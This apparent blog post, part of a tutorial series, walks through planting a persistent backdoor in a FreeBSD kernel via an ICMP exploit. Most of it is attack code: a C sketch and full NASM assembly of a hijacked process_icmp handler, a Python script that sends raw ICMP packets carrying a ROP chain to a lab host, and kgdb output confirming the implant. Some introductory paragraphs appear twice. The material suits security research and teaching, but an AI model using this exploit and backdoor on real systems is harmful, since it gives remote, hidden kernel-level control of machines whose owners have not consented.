- Get link
- X
- Other Apps
Have been done the most important part in the previous series, now we'll focus on deploying the most interesting real backdoor into the remote kernel memory to further allow us to sent and install another payload.
This final payload is used to hijack a running root process.
Taking the simplicity of ICMP protocol, the same target protocol we used on our research. Our backdoor is based on a modified process_icmp function. In addition, we modify the function such if the received packet has COPY_OP in the first byte of data, we'll copy a payload to a safe memory place and if it has INSTALL_OP, we install the payload into the kernel by overwriting some function pointer or handler, as an example we can overwrite with it the address of a syscall handler.
Here is given a high level overview in C of what might look like the backdoor.
Of course, we need to re-write this in assembly languages, extract the opcodes
and using our previous python code, we can store it in a safe place in the kernel
memory
Re-written assembly version
Assembling the above code using nasm, we can extract the opcodes, use our previous python exploit and send all of it over network.
The exploit will send after copying this backdoor another payload to overwrite the address of the process_icmp function with the address of icmp_backdoor which is 0xffffffff80200040
Here is our modified python exploits.
Checking the target freebsd memory reveal us the following was stored successfully.
That's all for this part. The idea of using the ICMP protocol as backdoor was taken from http://www.vulnfactory.org/research/ by Dan Rosenberg.
This final payload is used to hijack a running root process.
Taking the simplicity of ICMP protocol, the same target protocol we used on our research. Our backdoor is based on a modified process_icmp function. In addition, we modify the function such if the received packet has COPY_OP in the first byte of data, we'll copy a payload to a safe memory place and if it has INSTALL_OP, we install the payload into the kernel by overwriting some function pointer or handler, as an example we can overwrite with it the address of a syscall handler.
Here is given a high level overview in C of what might look like the backdoor.
Of course, we need to re-write this in assembly languages, extract the opcodes
and using our previous python code, we can store it in a safe place in the kernel
memory
0xffffffff80200040
is a good place.
static void
icmp_backdoor(struct mbuf **mp, int *offp, int proto)
{
struct icmp *icmpp;
struct mbuf *mb;
struct ip *ipp;
char datap[DATA_SIZE];
char *icmpdata;
int iphlen;
int icmplen;
iphlen = *offp;
mb = *mp;
ipp = mtod(mb, struct ip *);
icmplen = ntohs(ipp->ip_len) - iphlen;
mb->m_len -= iphlen;
mb->m_data += iphlen;
icmpp = mtod(mb, struct icmp *);
icmpdata = mb->m_data + ICMP_HEADER;
memcpy(&datap[0], icmpdata, icmplen - ICMP_HEADER);
if (datap[0] == 0)
copy_payload();
if (datap[1] == 1)
install_payload();
Re-written assembly version
[BITS 64]
[ORG 0]
; objdump -D -Mintel,x86-64 -b binary -m i386 icmpback
; nasm bsd-icmp-backdoor.asm -f bin -o icmpback
; RDI, First param
; RSI, second
; RDX, third
; [rbp-0x8]
; [rbp-0x10]
; [rbp-0x14]
; [rbp-0x18] iphlen
; [rbp-0x20] mb [mbuf]
; [rbp-0x28] pointer to IP packet
; [rbp-0x2e] ICMPLEN
; [rbp-0x36] ICMPDATA pointer to ICMP packet
ADDR_MEMCPY EQU 0xffffffff80f9bf70
PAYLOAD_ADDR EQU 0xffffffff8020012c
SECTION .text
_process_icmp:
push rbp
mov rbp, rsp
sub rsp, 0x1000
mov QWORD [rbp-0x8], rdi ; First param
mov QWORD [rbp-0x10], rsi ; second ; iphlenp
mov DWORD [rbp-0x14], edx ; third
; iphlen = *offp; getting ip header len off the pointer offp
mov rax, QWORD [rbp-0x10]
mov edx, [rax] ; Dereferencing
mov DWORD [rbp-0x18], edx
; mb = *mp; getting the actual mbuf pointer by Dereferencing the p-to-p
mov rax, QWORD [rbp-0x8]
mov rax, [rax]
mov QWORD [rbp-0x20], rax
; ipp = mtod(mb, struct ip *); getting pointer to struct ip
mov rax, QWORD [rbp-0x20]
mov rax, QWORD [rax+0x10]
mov QWORD [rbp-0x28], rax
; icmplen = ntohs(ipp->ip_len) - iphlen; Getting total ICMP packet len
mov rax, QWORD [rbp-0x28]
mov cx, WORD [rax + 0x2]
mov WORD [rbp-0x2a], cx
movzx edi, WORD [rbp-0x2a]
shl edi, 0x8
movzx ecx, WORD [rbp-0x2a]
sar ecx, 0x8
or edi, ecx
movzx edx, di
sub edx, DWORD [rbp-0x18]
mov DWORD [rbp-0x2e], edx
; mb->m_len -= iphlen;
; Shink mbuff length
mov edx, DWORD [rbp-0x18]
mov rsi, QWORD [rbp-0x20]
mov r8d, DWORD [rsi+0x18]
sub r8d, edx
mov DWORD [rsi+0x18], r8d
; mb->m_data += iphlen;
; Increment the mbuff data pointer to iphlen
; Thus, we will get to the ICMP packet
mov edx, DWORD [rbp-0x18]
mov rsi, QWORD [rbp-0x20]
mov r9, QWORD [rsi+0x10]
movsxd r10, edx
add r9, r10
mov QWORD [rsi+0x10], r9
; icmpdata = mb->m_data + ICMP_HEADER;
; Getting pointer to the ICMP packet
mov rsi, QWORD [rbp-0x20]
mov rsi, QWORD [rsi+0x10]
add rsi, 0x8
mov QWORD [rbp-0x36], rsi
;memcpy(&datap[0], icmpdata, icmplen - ICMP_HEADER);
; Copying the ICMP packet to buffer
; ffffffff80f9bf70 memcpy function address
lea rdi,[rbp-0xfa0]
mov rsi, QWORD [rbp-0x36]
mov ecx, DWORD [rbp-0x2e]
sub ecx, 0x8
movsxd rdx, ecx
mov rax, ADDR_MEMCPY
call rax
; if byte0 == 0
lea rdi,[rbp-0xfa0]
cmp BYTE [rdi], 0x0
je copy
jne install
copy:
;memcpy(targetaddress, lea rdi,[rbp-0xfa0+1], icmplen - ICMP_HEADER -1);
; Copying the ICMP packet to an executable address
; ffffffff80f9bf70 memcpy function address
mov rdi, PAYLOAD_ADDR
lea rsi, [rbp-0xfa0+1]
mov ecx, DWORD [rbp-0x2e]
sub ecx, 0x9
movsxd rdx, ecx
mov rax, ADDR_MEMCPY
call rax
mov rsp, rbp
pop rbp
ret
install:
nop
mov rsp, rbp
pop rbp
ret
Assembling the above code using nasm, we can extract the opcodes, use our previous python exploit and send all of it over network.
The exploit will send after copying this backdoor another payload to overwrite the address of the process_icmp function with the address of icmp_backdoor which is 0xffffffff80200040
nasm bsdback_2.asm -f bin -o icmpback_2
objdump -D -Mintel,x86-64 -b binary -m i386 icmpback_2
Here is our modified python exploits.
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import socket
import time
import struct
import datetime
from struct import pack
import sys
import os
"""
backdoor_www
Backdoor write what where
"""
backdoor_www = b"\x48\x89\x18\x90\x90\x90\x90"
def build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2):
# Moving 8 bytes write primitive shelllcode to .0xffffffff80200000
payload = b""
payload += pack("<Q", 0xb2a6dfa7b603102f) # Stack canary
payload += pack("<Q", 0x4141414141414141) #RBP
# Deploing back door [Real kernel payload]
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += mov_addr # mov rax, addr
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += mov_8bytes_data # mov rbx, data [mov rbx, 0x4141414141414141]
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += mov_8bytes_data_2 # Rest of data.
payload += backdoor_www # The www shellcode [mov QWORD PTR [rax],rbx] Plus some nop.
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
# Moving Stack unrolling shelllcode.
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\x48\x83\xc4\x08\x81\x3c\x24\xad"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\xde\xad\xba\x75\xf3\x81\x7c\x24"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\x08\xad\xde\xef\xbe\x75\xe9\x48"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\x83\xc4\x28\x5d\xc3"
payload += b"\x90\x90\x90"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8025c768) # pop rax ; ret
payload += pack("<Q", 0xffffffff80200000)
payload += pack("<Q", 0xffffffff81534dff) # jmp rax
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0x4141414141414141)
return payload
def exploit(ip_addr, mov_addr, mov_8bytes_data, mov_8bytes_data_2):
# create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# compose icmp payload
icmp_s_type = 8 # Echo Request
icmp_s_code = 0
icmp_s_id = 1
icmp_s_seq = 0
icmp_s_data = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
icmp_s_data += b"AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC"
icmp_s_data += build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2)
icmp_s_payload = struct.pack("!2B2H", icmp_s_type, icmp_s_code, icmp_s_id, icmp_s_seq)
icmp_s_payload += icmp_s_data
csum = 32767
icmp_s_payload = icmp_s_payload[:4] + struct.pack("!h", csum) + icmp_s_payload[4:]
print len(icmp_s_data)
# send the icmp packet
sock.sendto(icmp_s_payload, ip_addr)
def main():
"""
192.168.56.101
"""
ip_addr = ("192.168.56.101",0)
exploit(ip_addr, b'\x48\xc7\xc0\x40\x00\x20\x80\x48', b"\xbb\x55\x48\x89\xe5\x48\x81\xec", b"\x00")
exploit(ip_addr, b'\x48\xc7\xc0\x48\x00\x20\x80\x48', b"\xbb\x10\x00\x00\x48\x89\x7d\xf8", b"\x48")
exploit(ip_addr, b'\x48\xc7\xc0\x50\x00\x20\x80\x48', b"\xbb\x89\x75\xf0\x89\x55\xec\x48", b"\x8b")
exploit(ip_addr, b'\x48\xc7\xc0\x58\x00\x20\x80\x48', b"\xbb\x45\xf0\x8b\x10\x89\x55\xe8", b"\x48")
exploit(ip_addr, b'\x48\xc7\xc0\x60\x00\x20\x80\x48', b"\xbb\x8b\x45\xf8\x48\x8b\x00\x48", b"\x89")
exploit(ip_addr, b'\x48\xc7\xc0\x68\x00\x20\x80\x48', b"\xbb\x45\xe0\x48\x8b\x45\xe0\x48", b"\x8b")
exploit(ip_addr, b'\x48\xc7\xc0\x70\x00\x20\x80\x48', b"\xbb\x40\x10\x48\x89\x45\xd8\x48", b"\x8b")
exploit(ip_addr, b'\x48\xc7\xc0\x78\x00\x20\x80\x48', b"\xbb\x45\xd8\x66\x8b\x48\x02\x66", b"\x89")
exploit(ip_addr, b'\x48\xc7\xc0\x80\x00\x20\x80\x48', b"\xbb\x4d\xd6\x0f\xb7\x7d\xd6\xc1", b"\xe7")
exploit(ip_addr, b'\x48\xc7\xc0\x88\x00\x20\x80\x48', b"\xbb\x08\x0f\xb7\x4d\xd6\xc1\xf9", b"\x08")
exploit(ip_addr, b'\x48\xc7\xc0\x90\x00\x20\x80\x48', b"\xbb\x09\xcf\x0f\xb7\xd7\x2b\x55", b"\xe8")
exploit(ip_addr, b'\x48\xc7\xc0\x98\x00\x20\x80\x48', b"\xbb\x89\x55\xd2\x8b\x55\xe8\x48", b"\x8b")
exploit(ip_addr, b'\x48\xc7\xc0\xa0\x00\x20\x80\x48', b"\xbb\x75\xe0\x44\x8b\x46\x18\x41", b"\x29")
exploit(ip_addr, b'\x48\xc7\xc0\xa8\x00\x20\x80\x48', b"\xbb\xd0\x44\x89\x46\x18\x8b\x55", b"\xe8")
exploit(ip_addr, b'\x48\xc7\xc0\xb0\x00\x20\x80\x48', b"\xbb\x48\x8b\x75\xe0\x4c\x8b\x4e", b"\x10")
exploit(ip_addr, b'\x48\xc7\xc0\xb8\x00\x20\x80\x48', b"\xbb\x4c\x63\xd2\x4d\x01\xd1\x4c", b"\x89")
exploit(ip_addr, b'\x48\xc7\xc0\xc0\x00\x20\x80\x48', b"\xbb\x4e\x10\x48\x8b\x75\xe0\x48", b"\x8b")
exploit(ip_addr, b'\x48\xc7\xc0\xc8\x00\x20\x80\x48', b"\xbb\x76\x10\x48\x83\xc6\x08\x48", b"\x89")
exploit(ip_addr, b'\x48\xc7\xc0\xd0\x00\x20\x80\x48', b"\xbb\x75\xca\x48\x8d\xbd\x60\xf0", b"\xff")
exploit(ip_addr, b'\x48\xc7\xc0\xd8\x00\x20\x80\x48', b"\xbb\xff\x48\x8b\x75\xca\x8b\x4d", b"\xd2")
exploit(ip_addr, b'\x48\xc7\xc0\xe0\x00\x20\x80\x48', b"\xbb\x83\xe9\x08\x48\x63\xd1\x48", b"\xc7")
exploit(ip_addr, b'\x48\xc7\xc0\xe8\x00\x20\x80\x48', b"\xbb\xc0\x70\xbf\xf9\x80\xff\xd0", b"\x48")
exploit(ip_addr, b'\x48\xc7\xc0\xf0\x00\x20\x80\x48', b"\xbb\x48\x8d\xbd\x60\xf0\xff\xff", b"\x80")
exploit(ip_addr, b'\x48\xc7\xc0\xf8\x00\x20\x80\x48', b"\xbb\x3f\x00\x74\x02\x75\x20\x48", b"\xc7")
exploit(ip_addr, b'\x48\xc7\xc0\x00\x01\x20\x80\x48', b"\xbb\xc7\x2c\x01\x20\x80\x48\x8d", b"\xb5")
exploit(ip_addr, b'\x48\xc7\xc0\x08\x01\x20\x80\x48', b"\xbb\x61\xf0\xff\xff\x8b\x4d\xd2", b"\x83")
exploit(ip_addr, b'\x48\xc7\xc0\x10\x01\x20\x80\x48', b"\xbb\xe9\x09\x48\x63\xd1\x48\xc7", b"\xc0")
exploit(ip_addr, b'\x48\xc7\xc0\x18\x01\x20\x80\x48', b"\xbb\x70\xbf\xf9\x80\xff\xd0\x90", b"\x90")
exploit(ip_addr, b'\x48\xc7\xc0\x20\x01\x20\x80\x48', b"\xbb\x48\x89\xec\x5d\xc3\x90\x48", b"\x89")
exploit(ip_addr, b'\x48\xc7\xc0\x28\x01\x20\x80\x48', b"\xbb\xec\x5d\xc3\x90\x90\x90\x90", b"\x90")
"""
The use of this is to overwrite the address of the process_icmp with the address of the backdoor.
"""
exploit(ip_addr, b'\x48\xc7\xc0\x48\xb6\xa7\x81\x48', b"\xc7\xc3\x40\x00\x20\x80\x48\x89", b"\x18")
if __name__ == "__main__":
main()
Checking the target freebsd memory reveal us the following was stored successfully.
Continuing.
[New Thread 100064]
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 100064]
kdb_sysctl_enter (oidp=0xffffffff81a61370, arg1=<value optimized out>, arg2=<value optimized out>, req=0xfffffe00002b4840) at /usr/src/sys/kern/subr_kdb.c:479
479 kdb_why = KDB_WHY_UNSET;
(kgdb) x/100i 0xffffffff80200040
0xffffffff80200040: push rbp
0xffffffff80200041: mov rbp,rsp
0xffffffff80200044: sub rsp,0x1000
0xffffffff8020004b: mov QWORD PTR [rbp-0x8],rdi
0xffffffff8020004f: mov QWORD PTR [rbp-0x10],rsi
0xffffffff80200053: mov DWORD PTR [rbp-0x14],edx
0xffffffff80200056: mov rax,QWORD PTR [rbp-0x10]
0xffffffff8020005a: mov edx,DWORD PTR [rax]
0xffffffff8020005c: mov DWORD PTR [rbp-0x18],edx
0xffffffff8020005f: mov rax,QWORD PTR [rbp-0x8]
0xffffffff80200063: mov rax,QWORD PTR [rax]
0xffffffff80200066: mov QWORD PTR [rbp-0x20],rax
0xffffffff8020006a: mov rax,QWORD PTR [rbp-0x20]
0xffffffff8020006e: mov rax,QWORD PTR [rax+0x10]
0xffffffff80200072: mov QWORD PTR [rbp-0x28],rax
0xffffffff80200076: mov rax,QWORD PTR [rbp-0x28]
0xffffffff8020007a: mov cx,WORD PTR [rax+0x2]
0xffffffff8020007e: mov WORD PTR [rbp-0x2a],cx
0xffffffff80200082: movzx edi,WORD PTR [rbp-0x2a]
0xffffffff80200086: shl edi,0x8
0xffffffff80200089: movzx ecx,WORD PTR [rbp-0x2a]
0xffffffff8020008d: sar ecx,0x8
0xffffffff80200090: or edi,ecx
0xffffffff80200092: movzx edx,di
That's all for this part. The idea of using the ICMP protocol as backdoor was taken from http://www.vulnfactory.org/research/ by Dan Rosenberg.
- Get link
- X
- Other Apps
Comments
Post a Comment